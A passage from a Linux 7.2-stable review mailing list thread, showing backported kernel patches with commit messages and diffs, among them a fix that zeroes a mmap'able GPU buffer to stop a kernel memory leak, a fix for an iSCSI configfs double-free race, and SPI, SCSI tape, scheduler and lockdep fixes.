Fixes: 392bf22238ff ("drm/xe/oa/uapi: OA buffer mmap")
Assisted-by: LLM
Cc: Umesh Nerlige Ramappa <umesh.nerlige.ramappa@intel.com>
Cc: Ghimiray, Himal Prasad <himal.prasad.ghimiray@intel.com>
Signed-off-by: Bommu Krishnaiah <krishnaiah.bommu@intel.com>
Reviewed-by: Himal Prasad Ghimiray <himal.prasad.ghimiray@intel.com>
Reviewed-by: Umesh Nerlige Ramappa <umesh.nerlige.ramappa@intel.com>
Reviewed-by: Tejas Upadhyay <tejas.upadhyay@intel.com>
Link: https://patch.msgid.link/20261006020314.2711762-1-krishnaiah.bommu@intel.com
Signed-off-by: Tejas Upadhyay <tejas.upadhyay@intel.com>
(cherry picked from commit 126c4c5388f9311a390b9b254a835b0cf0f55331)
Signed-off-by: Rodrigo Vivi <rodrigo.vivi@intel.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpu/drm/xe/xe_oa.c | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/drivers/gpu/drm/xe/xe_oa.c b/drivers/gpu/drm/xe/xe_oa.c
index e5b0f3e2f3894..a25336480d302 100644
--- a/drivers/gpu/drm/xe/xe_oa.c
+++ b/drivers/gpu/drm/xe/xe_oa.c
@@ -914,6 +914,13 @@ static int xe_oa_alloc_oa_buffer(struct xe_oa_stream *stream, size_t size)
if (IS_ERR(bo))
return PTR_ERR(bo);
+ /*
+ * ttm_bo_type_kernel BOs are not zeroed on allocation, so the buffer can
+ * hold stale data from previously freed pages. Since the OA buffer is
+ * mmap'able by userspace, clear it here to avoid leaking kernel memory.
+ */
+ xe_map_memset(stream->oa->xe, &bo->vmap, 0, 0, xe_bo_size(bo));
+
stream->oa_buffer.bo = bo;
stream->oa_buffer.bounce = kmalloc(stream->oa_buffer.format->size, GFP_KERNEL);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 047/242] spi: tegra114: assert CS GPIO for every transfer in a message
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (45 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 046/242] drm/xe/oa: Zero OA buffer at allocation Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 048/242] nios2: fix __wsum type degradation in csum_fold() Greg Kroah-Hartman
` (194 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Carlos Jones Jr, Mark Brown,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Carlos Jones Jr <carlosjr.jones@analog.com>
[ Upstream commit 8980bc573ae2d2b9d86d76aeb86c76e1597070bf ]
The driver provides its own transfer_one_message() and therefore drives
the chip-select GPIO itself rather than through the SPI core. The GPIO is
asserted only in the is_first_of_msg path of
tegra_spi_setup_transfer_one(), but tegra_spi_transfer_end() deasserts it
whenever a transfer has cs_change set. For a multi-transfer message whose
earlier transfers request cs_change -- for example a register read that
sends the address in one transfer and clocks the data back in the next --
the CS GPIO is released after the first transfer and never re-asserted,
so the remaining transfers are clocked with chip-select inactive and the
peripheral never drives the bus.
This was observed with an ADIS16470 IMU (adis16475 driver), whose
register read is a two-transfer, cs_change-framed exchange: a logic
analyzer showed the data frame clocked with CS high, and the driver read
0 while the device drove 0x4056 on the wire.
Re-assert the CS GPIO for every transfer so that multi-transfer messages
keep chip-select active across the whole message. gpiod_set_value() is
idempotent and polarity-aware, so this is a no-op for the first transfer
and for messages that keep CS asserted throughout.
Fixes: 63c1440596ff ("spi: tegra114: add support for gpio based CS")
Signed-off-by: Carlos Jones Jr <carlosjr.jones@analog.com>
Link: https://patch.msgid.link/20261002085540.1625-1-carlosjr.jones@analog.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/spi/spi-tegra114.c | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/drivers/spi/spi-tegra114.c b/drivers/spi/spi-tegra114.c
index aa44ffd09e61b..976bf735378a2 100644
--- a/drivers/spi/spi-tegra114.c
+++ b/drivers/spi/spi-tegra114.c
@@ -859,6 +859,13 @@ static u32 tegra_spi_setup_transfer_one(struct spi_device *spi,
command1 |= SPI_BIT_LENGTH(bits_per_word - 1);
}
+ /*
+ * Re-assert the CS GPIO for every transfer: transfer_end() drops it
+ * on cs_change, and the assert above only covers is_first_of_msg.
+ */
+ if (spi_get_csgpiod(spi, 0))
+ gpiod_set_value(spi_get_csgpiod(spi, 0), 1);
+
return command1;
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 048/242] nios2: fix __wsum type degradation in csum_fold()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (46 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 047/242] spi: tegra114: assert CS GPIO for every transfer in a message Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 049/242] scsi: st: Save the visited block for the partition the drive is in Greg Kroah-Hartman
` (193 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, kernel test robot, Keith Busch,
Dinh Nguyen, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Keith Busch <kbusch@kernel.org>
[ Upstream commit b963f2345fa20417401c51a69dedb6a58eea33a9 ]
csum_fold() shifts a bitwise __wsum type, which sparse reports as
"restricted __wsum degrades to integer". Sparse only checks the body of
a static inline once something instantiates it, so this went unnoticed
until a recent block layer change added the first csum_fold() caller to
a file built on this architecture.
Force cast to a __u32 for the shift, as the other architectures do.
Fixes: eea9507a69d6 ("nios2: Library functions")
Reported-by: kernel test robot <lkp@intel.com>
Closes: https://lore.kernel.org/oe-kbuild-all/202609222053.5gjiJjtb-lkp@intel.com/
Signed-off-by: Keith Busch <kbusch@kernel.org>
Signed-off-by: Dinh Nguyen <dinguyen@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
arch/nios2/include/asm/checksum.h | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/arch/nios2/include/asm/checksum.h b/arch/nios2/include/asm/checksum.h
index 69004e07a1ba3..b6b415ae17a08 100644
--- a/arch/nios2/include/asm/checksum.h
+++ b/arch/nios2/include/asm/checksum.h
@@ -27,7 +27,7 @@ static inline __sum16 csum_fold(__wsum sum)
"add %0, %0, r8\n"
"nor %0, %0, %0\n"
: "=r" (sum)
- : "r" (sum << 16), "0" (sum)
+ : "r" ((__force u32)sum << 16), "0" (sum)
: "r8");
return (__force __sum16) sum;
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 049/242] scsi: st: Save the visited block for the partition the drive is in
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (47 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 048/242] nios2: fix __wsum type degradation in csum_fold() Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 050/242] scsi: target: Disable interrupts while holding delayed_cmd_lock Greg Kroah-Hartman
` (192 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Laurence Oberman,
Martin K. Petersen (Oracle), Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Laurence Oberman <loberman@redhat.com>
[ Upstream commit c9e9f024dd4f61f0f6636c9f2ed0830f87060e11 ]
set_location() saves the current tape location before switching
partitions, so that switch_partition() can return to it later. It reads
the location with READ POSITION but stores it in the st_partstat of
STp->partition, ignoring the partition the drive reports.
The two differ after a device reset. When the reset is recovered with
MTREW, MTSEEK or MTEOM, st_ioctl() sets STp->partition = 0 and calls
switch_partition() to return to STp->new_partition. A drive that was in
partition 1 is still there, so set_location() files the partition 1
position under partition 0. The next switch to partition 0 locates to
that block: if partition 0 holds less data, MTSETPART fails with EIO
(BLANK CHECK), otherwise the tape is silently positioned at the wrong
block.
IBM ULTRIUM-TD5 (LTO-5), LU reset in partition 1 at block 1025:
st 12:0:0:0: [st0] Visited block 1025 for partition 0 saved.
...
st 12:0:0:0: [st0] Setting block to 1025 and partition to 0.
st 12:0:0:0: [st0] Error: 402, cmd: 2b 2 0 0 0 4
st 12:0:0:0: [st0] Sense Key : Blank Check [current]
st 12:0:0:0: [st0] Add. Sense: End-of-data detected
Store the location in the st_partstat of the partition reported by READ
POSITION. With the fix:
st 12:0:0:0: [st0] Visited block 1025 for partition 1 saved.
This is a pre-existing issue. It was not caught when testing the recent
st reset series because the partition test was only run on scsi_debug:
on the LTO drive it was skipped, since can-partitions is off in the test
harness's stinit.conf, as is normal for LTO. scsi_debug hides the
problem because its emulated tape returns to the beginning of partition
0 on an LU reset. It was found while validating a backport of that
series to RHEL 9.8, when the partition tests were run on real hardware
with can-partitions enabled. The same failure then reproduced on
unmodified RHEL 9.8 and on upstream, and the fix makes the test pass on
v7.3-rc3 and RHEL 9.8 with an LTO-5.
The harness (https://gitlab.com/loberman/tapetest, test X03) now refuses
to silently skip the partition tests on hardware.
Fixes: 7081dc75df79 ("scsi: st: Restore some drive settings after reset")
Assisted-by: Claude
Signed-off-by: Laurence Oberman <loberman@redhat.com>
Link: https://patch.msgid.link/20261006164250.773840-1-loberman@redhat.com
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/scsi/st.c | 14 ++++++++++----
1 file changed, 10 insertions(+), 4 deletions(-)
diff --git a/drivers/scsi/st.c b/drivers/scsi/st.c
index f1c3c49466379..cab8aa73969c3 100644
--- a/drivers/scsi/st.c
+++ b/drivers/scsi/st.c
@@ -3217,14 +3217,20 @@ static int set_location(struct scsi_tape *STp, unsigned int block, int partition
partition >= ST_NBR_PARTITIONS)
return (-EINVAL);
if (partition != STp->partition) {
- if (get_location(STp, &blk, &p, 1))
+ /*
+ * Save the location for the partition the drive reports,
+ * not for STp->partition: after a reset STp->partition may
+ * not match the partition the drive is in.
+ */
+ if (get_location(STp, &blk, &p, 1) ||
+ p < 0 || p >= ST_NBR_PARTITIONS)
STps->last_block_valid = 0;
else {
- STps->last_block_valid = 1;
- STps->last_block_visited = blk;
+ STp->ps[p].last_block_valid = 1;
+ STp->ps[p].last_block_visited = blk;
DEBC_printk(STp, "Visited block %d for "
"partition %d saved.\n",
- blk, STp->partition);
+ blk, p);
}
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 050/242] scsi: target: Disable interrupts while holding delayed_cmd_lock
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (48 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 049/242] scsi: st: Save the visited block for the partition the drive is in Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 051/242] scsi: target: iscsi: Fix race in discovery auth updates Greg Kroah-Hartman
` (191 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Yu Zhang, Mike Christie,
Martin K. Petersen (Oracle), Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yu Zhang <yuz08559@gmail.com>
[ Upstream commit 04a67a8b1a4460345d22fe75d93430cbf7e651d7 ]
target_do_delayed_work() takes dev->delayed_cmd_lock with a plain
spin_lock(). It runs from system_percpu_wq, so interrupts stay enabled
while the lock is held. Every other acquisition of that lock uses
spin_lock_irqsave(): target_handle_task_attr() and
transport_complete_ordered_sync() in target_core_transport.c, and
target_non_ordered_release() in target_core_device.c.
That was safe while every caller of transport_complete_task_attr() ran
in process context: target_complete_ok_work() from target_completion_wq,
transport_complete_qf() from dev->qf_work_queue, and
transport_generic_request_failure() from the submit and execute paths.
Since commit 06933066d88a ("scsi: target: Add support for completing
commands from backend context") that is no longer true. With
complete_type=1 on a fabric that sets direct_compl_supp,
target_complete() runs target_complete_ok_work() inline in the backend's
completion context, which target_complete_cmd_with_sense() documents as
"May be called from interrupt context". For iblock that is the bio
end_io.
target_complete_ok_work() starts with transport_complete_task_attr(),
which takes delayed_cmd_lock in two ways:
- Every ORDERED command is put on dev->delayed_cmd_list by
target_handle_task_attr() and dispatched from there by
target_do_delayed_work(), which marks it SCF_TASK_ORDERED_SYNC. Its
completion therefore goes through transport_complete_ordered_sync().
- A SIMPLE command that completes while an ORDERED command is pending
drops the last reference to the killed dev->non_ordered, and
percpu_ref_put() then runs target_non_ordered_release() in the
completing context.
Both take the lock and, if commands are waiting, call
schedule_work(&dev->delayed_cmd_work), which queues on system_percpu_wq,
i.e. on the CPU that took the completion. Further completions for the
same queue are typically delivered there too, so one arriving while the
work holds the lock spins on it forever.
Reaching this needs complete_type=1, which is not the default
(vhost-scsi, the only fabric with direct_compl_supp, defaults to
TARGET_QUEUE_COMPL), a backend whose I/O completes from interrupt
context, and ORDERED commands from the initiator. Linux virtio_scsi
guests send only VIRTIO_SCSI_S_SIMPLE and never take the ordered path;
any guest that uses the ORDERED task attribute, which vhost-scsi
accepts, does.
target_do_delayed_work() is a work item and always runs in process
context, so spin_lock_irq() is sufficient.
Found by inspection; no runtime report. A single ORDERED command goes
through both acquisitions, so with CONFIG_PROVE_LOCKING the first one
completed through direct completion should produce an inconsistent lock
state report on delayed_cmd_lock (hardirq or softirq, depending on where
the backend completes).
Fixes: 06933066d88a ("scsi: target: Add support for completing commands from backend context")
Signed-off-by: Yu Zhang <yuz08559@gmail.com>
Reviewed-by: Mike Christie <michael.christie@oracle.com>
Link: https://patch.msgid.link/20260927091329.13482-1-yuz08559@gmail.com
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/target/target_core_transport.c | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/drivers/target/target_core_transport.c b/drivers/target/target_core_transport.c
index dcfe945949167..67c046549192e 100644
--- a/drivers/target/target_core_transport.c
+++ b/drivers/target/target_core_transport.c
@@ -2359,7 +2359,7 @@ void target_do_delayed_work(struct work_struct *work)
struct se_device *dev = container_of(work, struct se_device,
delayed_cmd_work);
- spin_lock(&dev->delayed_cmd_lock);
+ spin_lock_irq(&dev->delayed_cmd_lock);
while (!dev->ordered_sync_in_progress) {
struct se_cmd *cmd;
@@ -2380,12 +2380,12 @@ void target_do_delayed_work(struct work_struct *work)
dev->ordered_sync_in_progress = true;
list_del(&cmd->se_delayed_node);
- spin_unlock(&dev->delayed_cmd_lock);
+ spin_unlock_irq(&dev->delayed_cmd_lock);
__target_execute_cmd(cmd, true);
- spin_lock(&dev->delayed_cmd_lock);
+ spin_lock_irq(&dev->delayed_cmd_lock);
}
- spin_unlock(&dev->delayed_cmd_lock);
+ spin_unlock_irq(&dev->delayed_cmd_lock);
}
static void transport_complete_ordered_sync(struct se_cmd *cmd)
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 051/242] scsi: target: iscsi: Fix race in discovery auth updates
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (49 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 050/242] scsi: target: Disable interrupts while holding delayed_cmd_lock Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 052/242] sched/core: Call wakeup_preempt() for queued tasks during class change Greg Kroah-Hartman
` (190 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Linfeng Sun, Mike Christie,
Martin K. Petersen (Oracle), Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Linfeng Sun <linfeng.sun.dev@gmail.com>
[ Upstream commit e15b81f602edbdee39c335546f25486a1747f3f0 ]
Separate configfs opens can concurrently update the discovery AuthMethod
parameter. Both callers may free the same value in
iscsi_update_param_value(), causing a double-free.
Protect the lookup and replacement with the discovery TPG access lock,
as used by the other TPG configfs parameter updates.
Fixes: e48354ce078c ("iscsi-target: Add iSCSI fabric support for target v4.1")
Signed-off-by: Linfeng Sun <linfeng.sun.dev@gmail.com>
Reviewed-by: Mike Christie <michael.christie@oracle.com>
Link: https://patch.msgid.link/20260811124843.6817-1-linfeng.sun.dev@gmail.com
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/target/iscsi/iscsi_target_configfs.c | 26 ++++++++++++++------
1 file changed, 19 insertions(+), 7 deletions(-)
diff --git a/drivers/target/iscsi/iscsi_target_configfs.c b/drivers/target/iscsi/iscsi_target_configfs.c
index 704ec94383c3c..e1aa0af52c658 100644
--- a/drivers/target/iscsi/iscsi_target_configfs.c
+++ b/drivers/target/iscsi/iscsi_target_configfs.c
@@ -1306,17 +1306,24 @@ static ssize_t iscsi_disc_enforce_discovery_auth_store(struct config_item *item,
return -EINVAL;
}
+ if (iscsit_get_tpg(discovery_tpg) < 0)
+ return -EINVAL;
+
param = iscsi_find_param_from_key(AUTHMETHOD,
discovery_tpg->param_list);
- if (!param)
- return -EINVAL;
+ if (!param) {
+ err = -EINVAL;
+ goto out;
+ }
if (op) {
/*
* Reset the AuthMethod key to CHAP.
*/
- if (iscsi_update_param_value(param, CHAP) < 0)
- return -EINVAL;
+ if (iscsi_update_param_value(param, CHAP) < 0) {
+ err = -EINVAL;
+ goto out;
+ }
discovery_tpg->tpg_attrib.authentication = 1;
iscsit_global->discovery_acl.node_auth.enforce_discovery_auth = 1;
@@ -1327,8 +1334,10 @@ static ssize_t iscsi_disc_enforce_discovery_auth_store(struct config_item *item,
/*
* Reset the AuthMethod key to CHAP,None
*/
- if (iscsi_update_param_value(param, "CHAP,None") < 0)
- return -EINVAL;
+ if (iscsi_update_param_value(param, "CHAP,None") < 0) {
+ err = -EINVAL;
+ goto out;
+ }
discovery_tpg->tpg_attrib.authentication = 0;
iscsit_global->discovery_acl.node_auth.enforce_discovery_auth = 0;
@@ -1337,7 +1346,10 @@ static ssize_t iscsi_disc_enforce_discovery_auth_store(struct config_item *item,
" Discovery TPG\n");
}
- return count;
+ err = count;
+out:
+ iscsit_put_tpg(discovery_tpg);
+ return err;
}
CONFIGFS_ATTR(iscsi_disc_, enforce_discovery_auth);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 052/242] sched/core: Call wakeup_preempt() for queued tasks during class change
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (50 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 051/242] scsi: target: iscsi: Fix race in discovery auth updates Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 053/242] entry: Account the deferred hrtimer rearm as hardirq context for lockdep Greg Kroah-Hartman
` (189 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Paul E. McKenney, K Prateek Nayak,
Peter Zijlstra (Intel), Vincent Guittot, Phil Auld, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: K Prateek Nayak <kprateek.nayak@amd.com>
[ Upstream commit 118a2cf4ced60777a2408001e2b4838fed1cea55 ]
Paul reported recent RCU changes exposed a lost resched where CPU idles
with a rcutorture thread waiting while being completely runnable.
Dumping the rq state at the time of idling with runnable tasks showed
the following:
rq->next_class = &fair_sched_class
rq->nr_running = 1
rq->cfs.h_nr_queued = 0
rq->rt.rt_nr_running = 1
Although the waiting task was an RT task, "rq->next_class" did not point
to rt_sched_class and was stuck at the lower priority fair_sched_class.
Inspecting sched_change_end() revealed the following race with
__sched_setscheduler() for queued, but non-running tasks:
CPU0 CPU1
==== ====
__schedule()
/*
* rq->donor is a fair task that blocks.
* rq->next_class = &fair_sched_class
*/
rq_lock(rq0)
pick_next_task()
/* nr_running = 0 */
pick_task_fair()
sched_balance_newidle()
raw_spin_rq_unlock(rq0)
rq_lock(rq0)
activate_task(rq0, p)
/* p is a fair task */
rq0->nr_running++;
rq0->cfs.h_nr_queued++;
wakeup_preempt(rq, p)
rq->next_class = &fair_sched_class
resched_curr()
rq_unlock(rq0)
__sched_setscheduler(p)
/* p is moved to SCHED_RR */
task_rq_lock(p)
sched_change_begin()
rq0->cfs.h_nr_queued--;
rq0->rt.rt_nr_running++;
sched_change_end()
/*
* p->on_rq = 1 (ctx->queued)
* but p is not rq->donor
* (!ctx->running) hence
* resched_curr() is and
* rq->next_class upgrade is
* skipped.
*/
task_rq_unlock()
raw_spin_rq_lock(rq0)
/*
* rq->nr_running = 1
* rq->cfs.h_nr_queued = 0
* rq->rt.rt_nr_running = 1
* rq->next_class = &fair_sched_class
*/
if (rq->cfs.h_nr_queued && ...)
/* Above is false */
if (rq_modified_above(this_rq, &fair_sched_class))
/* Also false since rq->next_class is still fair */
/*
* sched_balance_newidle() is considered to
* have failed to pull any fair tasks and no
* other wakeups were detected.
*/
return NULL; /* pick_task_fair() */
pick_task_idle()
return rq->idle;
next = rq->idle;
/* Preemption indicators are lost */
clear_tsk_need_resched(prev);
clear_preempt_need_resched();
rq->curr = rq->idle;
!!! rq->idle switches in with rq->running == 1 but !need_resched() !!!
In simple words, enqueue, followed by a class change of the newly queued
task goes unnoticed in rq->next_class indicator and
sched_balance_newidle() sees no fair task, nor any higher priority task
enqueued.
The above sequence will lead to CPU idling with a runnable task on the
CPU.
Call wakeup_preempt() for ctx->queued cases in sched_change_end() to
re-evaluate rq->next_class after class change (ENQUEUE_CLASS) and set
the NEED_RESCHED indicator accordingly.
Newidle balance will correctly see an enqueue of a higher priority
task if a queued task was upgraded when the rq_lock() was dropped and
will retry the pick.
Closes: https://lore.kernel.org/lkml/8fa7f795-518c-4507-b684-60b0c1cac2c5@paulmck-laptop/
Fixes: 704069649b5b ("sched/core: Rework sched_class::wakeup_preempt() and rq_modified_*()")
Reported-by: Paul E. McKenney <paulmck@kernel.org>
Tested-by: Paul E. McKenney <paulmck@kernel.org>
Signed-off-by: K Prateek Nayak <kprateek.nayak@amd.com>
Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
Reviewed-by: Vincent Guittot <vincent.guittot@linaro.org>
Reviewed-by: Phil Auld <pauld@redhat.com>
Link: https://patch.msgid.link/20261013152455.9039-1-kprateek.nayak@amd.com
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
kernel/sched/core.c | 19 +++++++++----------
1 file changed, 9 insertions(+), 10 deletions(-)
diff --git a/kernel/sched/core.c b/kernel/sched/core.c
index c104562638e33..383ced4156e20 100644
--- a/kernel/sched/core.c
+++ b/kernel/sched/core.c
@@ -11323,17 +11323,16 @@ void sched_change_end(struct sched_change_ctx *ctx)
if (p->sched_class->switched_to)
p->sched_class->switched_to(rq, p);
+ /*
+ * Check if the task can preempt the current in case the class
+ * was upgraded. Note that none of the switch*_from() methods
+ * know the new class and none of the switch*_to() methods know
+ * the old class so we must resched here.
+ */
+ if (ctx->queued)
+ wakeup_preempt(rq, p, 0);
+
if (ctx->running) {
- /*
- * If this was a class promotion; let the old class
- * know it got preempted. Note that none of the
- * switch*_from() methods know the new class and none
- * of the switch*_to() methods know the old class.
- */
- if (sched_class_above(p->sched_class, ctx->class)) {
- rq->next_class->wakeup_preempt(rq, p, 0);
- rq->next_class = p->sched_class;
- }
/*
* If this was a degradation in class; make sure to
* reschedule.
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 053/242] entry: Account the deferred hrtimer rearm as hardirq context for lockdep
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (51 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 052/242] sched/core: Call wakeup_preempt() for queued tasks during class change Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 054/242] iommupt/kunit: Use if_changed_rule for the kunit Greg Kroah-Hartman
` (188 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Mikhail Gavrilov,
Peter Zijlstra (Intel), Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Mikhail Gavrilov <mikhail.v.gavrilov@gmail.com>
[ Upstream commit 7cbaa0f4579f48e92639c6abb761fdef8fbade47 ]
On a desktop debug kernel (PROVE_LOCKING, KASAN, LOCKDEP_CHAINS_BITS=19)
lockdep switches itself off after about two days of uptime with
"BUG: MAX_LOCKDEP_CHAIN_HLOCKS too low!", and locking is not validated
until the next reboot. In the last such boot the pool ran out after 46.6
hours, and a fifth of it, 533509 of 2621431 chain hlocks in 63838 of
344717 chains, had been created by the deferred hrtimer rearm on return
from interrupt.
Make lockdep account that rearm as part of the timer interrupt it
belongs to.
Commit 15dd3a948855
("hrtimer: Push reprogramming timers into the interrupt return path")
moved the reprogramming of the clock event device out of the timer
interrupt into the interrupt return path. On return to kernel mode
irqentry_exit_to_kernel_mode_after_preempt() performs it after
irq_exit_rcu() has already left lockdep's hardirq context. lockdep
therefore records hrtimer_bases.lock and the timekeeper sequence count
as taken by the interrupted context, on top of the locks that context
holds, and every distinct held-lock stack an interrupt hits adds two
lock chains. When the rearm runs from irq_enter_rcu() or
__irq_exit_rcu() it is still inside lockdep's hardirq context, and there
the same acquisitions reuse one pair of chains.
The dependencies recorded on the return path are "lock held with
interrupts enabled -> hrtimer_bases.lock". Such a lock is hardirq-unsafe
and hrtimer_bases.lock is hardirq-safe, so a path in the reverse
direction is already reported by the irq-safety checks without these
edges.
Re-enter lockdep's hardirq context around the rearm on the kernel return
path. The return to user mode path holds no locks and is left alone, as
is the rearm in __schedule(), which runs under the runqueue lock.
With the same kernel tree, configuration and workload, one hour of
uptime including a full kernel build, the chains of this shape, with
hrtimer_bases.lock and optionally the timekeeper sequence count on top
of a held-lock stack outside the scheduler, go from 13266 (96187 chain
hlocks, 15.9% of those in use) to 4. Those 4 come from clock_was_set(),
which takes cpus_read_lock() and each CPU's hrtimer_bases.lock and reads
the clock under it.
Fixes: 15dd3a948855 ("hrtimer: Push reprogramming timers into the interrupt return path")
Signed-off-by: Mikhail Gavrilov <mikhail.v.gavrilov@gmail.com>
Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
Link: https://patch.msgid.link/20261013071318.33300-1-mikhail.v.gavrilov@gmail.com
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
include/linux/irq-entry-common.h | 23 +++++++++++++++++++++--
1 file changed, 21 insertions(+), 2 deletions(-)
diff --git a/include/linux/irq-entry-common.h b/include/linux/irq-entry-common.h
index 1fabf0f5ea8e7..c03153548a2d4 100644
--- a/include/linux/irq-entry-common.h
+++ b/include/linux/irq-entry-common.h
@@ -468,6 +468,25 @@ static inline void irqentry_exit_to_kernel_mode_preempt(struct pt_regs *regs,
irqentry_exit_cond_resched();
}
+/*
+ * The deferred hrtimer rearm is the tail of the timer interrupt, moved to the
+ * interrupt return path so that it runs after a possible reschedule. By now
+ * irq_exit_rcu() has left lockdep's hardirq context. Re-enter it for the
+ * rearm, so that the hrtimer base lock and the timekeeping sequence count are
+ * not chained onto the locks held by the interrupted context, which would add
+ * new lock chains for every lock stack an interrupt hits.
+ *
+ * The rearm on return to user mode needs no such annotation: no locks are
+ * held there, so it uses the same lock chains as the rearm in hardirq
+ * context.
+ */
+static __always_inline void irqentry_hrtimer_rearm_deferred(void)
+{
+ lockdep_hardirq_enter();
+ hrtimer_rearm_deferred();
+ lockdep_hardirq_exit();
+}
+
/**
* irqentry_exit_to_kernel_mode_after_preempt - Establish trace, lockdep and RCU state
* @regs: Pointer to current's pt_regs
@@ -491,7 +510,7 @@ irqentry_exit_to_kernel_mode_after_preempt(struct pt_regs *regs, irqentry_state_
*/
if (state.exit_rcu) {
instrumentation_begin();
- hrtimer_rearm_deferred();
+ irqentry_hrtimer_rearm_deferred();
/* Tell the tracer that IRET will enable interrupts */
trace_hardirqs_on_prepare();
lockdep_hardirqs_on_prepare();
@@ -502,7 +521,7 @@ irqentry_exit_to_kernel_mode_after_preempt(struct pt_regs *regs, irqentry_state_
}
instrumentation_begin();
- hrtimer_rearm_deferred();
+ irqentry_hrtimer_rearm_deferred();
/* Covers both tracing and lockdep */
trace_hardirqs_on();
instrumentation_end();
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 054/242] iommupt/kunit: Use if_changed_rule for the kunit
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (52 preceding siblings ...)
